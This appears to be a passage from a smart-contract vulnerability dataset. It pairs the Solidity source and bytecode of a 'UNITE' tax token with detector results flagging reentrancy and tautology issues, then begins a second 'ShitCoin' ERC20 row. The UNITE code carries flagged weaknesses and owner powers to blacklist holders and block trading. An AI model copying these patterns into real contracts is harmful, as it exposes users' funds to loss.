uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract UNITE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Unite";
string private constant _symbol = "UNITE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 14;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x484D7ab3E619C06C2b913f865C7FCCdF04Ec39e7);
address payable private _marketingAddress = payable(0x3889B146BcA4fA357B55b81DF7243D62062Ed63c);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610552578063dd62ed3e14610572578063ea1644d5146105b8578063f2fde38b146105d857600080fd5b8063a2a957bb146104cd578063a9059cbb146104ed578063bfd792841461050d578063c3c8cd801461053d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b411461047f57806398a5c315146104ad57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ad7565b6105f8565b005b34801561020a57600080fd5b50604080518082019091526005815264556e69746560d81b60208201525b6040516102359190611b9c565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611bf1565b610697565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50683635c9adc5dea000005b604051908152602001610235565b3480156102d857600080fd5b5061025e6102e7366004611c1d565b6106ae565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610235565b34801561032a57600080fd5b5060155461028e906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611c5e565b610717565b34801561036a57600080fd5b506101fc610379366004611c8b565b610762565b34801561038a57600080fd5b506101fc6107aa565b34801561039f57600080fd5b506102be6103ae366004611c5e565b6107f5565b3480156103bf57600080fd5b506101fc610817565b3480156103d457600080fd5b506101fc6103e3366004611ca6565b61088b565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611c5e565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028e565b34801561045557600080fd5b506101fc610464366004611c8b565b6108ca565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b50604080518082019091526005815264554e49544560d81b6020820152610228565b3480156104b957600080fd5b506101fc6104c8366004611ca6565b610912565b3480156104d957600080fd5b506101fc6104e8366004611cbf565b610941565b3480156104f957600080fd5b5061025e610508366004611bf1565b610af7565b34801561051957600080fd5b5061025e610528366004611c5e565b60106020526000908152604090205460ff1681565b34801561054957600080fd5b506101fc610b04565b34801561055e57600080fd5b506101fc61056d366004611cf1565b610b58565b34801561057e57600080fd5b506102be61058d366004611d75565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101fc6105d3366004611ca6565b610bf9565b3480156105e457600080fd5b506101fc6105f3366004611c5e565b610c28565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611dae565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611de3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611e0f565b91505061062e565b5050565b60006106a4338484610d12565b5060015b92915050565b60006106bb848484610e36565b61070d843361070885604051806060016040528060288152602001611f29602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611372565b610d12565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611dae565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161062290611dae565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107df57506013546001600160a01b0316336001600160a01b0316145b6107e857600080fd5b476107f2816113ac565b50565b6001600160a01b0381166000908152600260205260408120546106a8906113e6565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161062290611dae565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161062290611dae565b674563918244f400008111156107f257601655565b6000546001600160a01b031633146108f45760405162461bcd60e51b815260040161062290611dae565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b815260040161062290611dae565b601855565b6000546001600160a01b0316331461096b5760405162461bcd60e51b815260040161062290611dae565b60048411156109ca5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610622565b6014821115610a265760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610622565b6004831115610a865760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610622565b6014811115610ae35760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610622565b600893909355600a91909155600955600b55565b60006106a4338484610e36565b6012546001600160a01b0316336001600160a01b03161480610b3957506013546001600160a01b0316336001600160a01b0316145b610b4257600080fd5b6000610b4d306107f5565b90506107f28161146a565b6000546001600160a01b03163314610b825760405162461bcd60e51b815260040161062290611dae565b60005b82811015610bf3578160056000868685818110610ba457610ba4611de3565b9050602002016020810190610bb99190611c5e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610beb81611e0f565b915050610b85565b50505050565b6000546001600160a01b03163314610c235760405162461bcd60e51b815260040161062290611dae565b601755565b6000546001600160a01b03163314610c525760405162461bcd60e51b815260040161062290611dae565b6001600160a01b038116610cb75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610dd55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610efc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610f5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610f8a57506000546001600160a01b03838116911614155b1561126b57601554600160a01b900460ff16611023576000546001600160a01b038481169116146110235760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b6016548111156110755760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff161580156110b757506001600160a01b03821660009081526010602052604090205460ff16155b61110f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6015546001600160a01b038381169116146111945760175481611131846107f5565b61113b9190611e2a565b106111945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b600061119f306107f5565b6018546016549192508210159082106111b85760165491505b8080156111cf5750601554600160a81b900460ff16155b80156111e957506015546001600160a01b03868116911614155b80156111fe5750601554600160b01b900460ff165b801561122357506001600160a01b03851660009081526005602052604090205460ff16155b801561124857506001600160a01b03841660009081526005602052604090205460ff16155b15611268576112568261146a565b47801561126657611266476113ac565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112ad57506001600160a01b03831660009081526005602052604090205460ff165b806112df57506015546001600160a01b038581169116148015906112df57506015546001600160a01b03848116911614155b156112ec57506000611366565b6015546001600160a01b03858116911614801561131757506014546001600160a01b03848116911614155b1561132957600854600c55600954600d555b6015546001600160a01b03848116911614801561135457506014546001600160a01b03858116911614155b1561136657600a54600c55600b54600d555b610bf3848484846115e4565b600081848411156113965760405162461bcd60e51b81526004016106229190611b9c565b5060006113a38486611e42565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b600060065482111561144d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b6000611457611612565b90506114638382611635565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b2576114b2611de3565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561150b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152f9190611e59565b8160018151811061154257611542611de3565b6001600160a01b0392831660209182029290920101526014546115689130911684610d12565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a1908590600090869030904290600401611e76565b600060405180830381600087803b1580156115bb57600080fd5b505af11580156115cf573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115f1576115f1611677565b6115fc8484846116a5565b80610bf357610bf3600e54600c55600f54600d55565b600080600061161f61179c565b909250905061162e8282611635565b9250505090565b600061146383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117de565b600c541580156116875750600d54155b1561168e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116b78761180c565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116e99087611869565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461171890866118ab565b6001600160a01b03891660009081526002602052604090205561173a8161190a565b6117448483611954565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161178991815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117b88282611635565b8210156117d557505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117ff5760405162461bcd60e51b81526004016106229190611b9c565b5060006113a38486611ee7565b60008060008060008060008060006118298a600c54600d54611978565b9250925092506000611839611612565b9050600080600061184c8e8787876119cd565b919e509c509a509598509396509194505050505091939550919395565b600061146383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611372565b6000806118b88385611e2a565b9050838110156114635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611914611612565b905060006119228383611a1d565b3060009081526002602052604090205490915061193f90826118ab565b30600090815260026020526040902055505050565b6006546119619083611869565b60065560075461197190826118ab565b6007555050565b6000808080611992606461198c8989611a1d565b90611635565b905060006119a5606461198c8a89611a1d565b905060006119bd826119b78b86611869565b90611869565b9992985090965090945050505050565b60008080806119dc8886611a1d565b905060006119ea8887611a1d565b905060006119f88888611a1d565b90506000611a0a826119b78686611869565b939b939a50919850919650505050505050565b600082611a2c575060006106a8565b6000611a388385611f09565b905082611a458583611ee7565b146114635760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b8035611ad281611ab2565b919050565b60006020808385031215611aea57600080fd5b823567ffffffffffffffff80821115611b0257600080fd5b818501915085601f830112611b1657600080fd5b813581811115611b2857611b28611a9c565b8060051b604051601f19603f83011681018181108582111715611b4d57611b4d611a9c565b604052918252848201925083810185019188831115611b6b57600080fd5b938501935b82851015611b9057611b8185611ac7565b84529385019392850192611b70565b98975050505050505050565b600060208083528351808285015260005b81811015611bc957858101830151858201604001528201611bad565b81811115611bdb576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c0457600080fd5b8235611c0f81611ab2565b946020939093013593505050565b600080600060608486031215611c3257600080fd5b8335611c3d81611ab2565b92506020840135611c4d81611ab2565b929592945050506040919091013590565b600060208284031215611c7057600080fd5b813561146381611ab2565b80358015158114611ad257600080fd5b600060208284031215611c9d57600080fd5b61146382611c7b565b600060208284031215611cb857600080fd5b5035919050565b60008060008060808587031215611cd557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d0657600080fd5b833567ffffffffffffffff80821115611d1e57600080fd5b818601915086601f830112611d3257600080fd5b813581811115611d4157600080fd5b8760208260051b8501011115611d5657600080fd5b602092830195509350611d6c9186019050611c7b565b90509250925092565b60008060408385031215611d8857600080fd5b8235611d9381611ab2565b91506020830135611da381611ab2565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e2357611e23611df9565b5060010190565b60008219821115611e3d57611e3d611df9565b500190565b600082821015611e5457611e54611df9565b500390565b600060208284031215611e6b57600080fd5b815161146381611ab2565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ec65784516001600160a01b031683529383019391830191600101611ea1565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f0457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f2357611f23611df9565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5ddcf097bb2751e62b4adf6af27c84f8b6e52ed1a6c66c44a1e338063055f2464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,421 |
0x2f9458732e3edfd2fda9aad44c5e230fdfeebcb9
|
/**
*Submitted for verification at Etherscan.io on 2021-02-15
*/
// SPDX-License-Identifier: MIT
// * Michael Low
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
* Michael Low
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract SHIT is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _owner;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "ShitCoin";
_symbol = "SHIT";
_totalSupply = 42069420* 10**uint(decimals());
_balances[_msgSender()] = _totalSupply;
_owner = _msgSender();
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
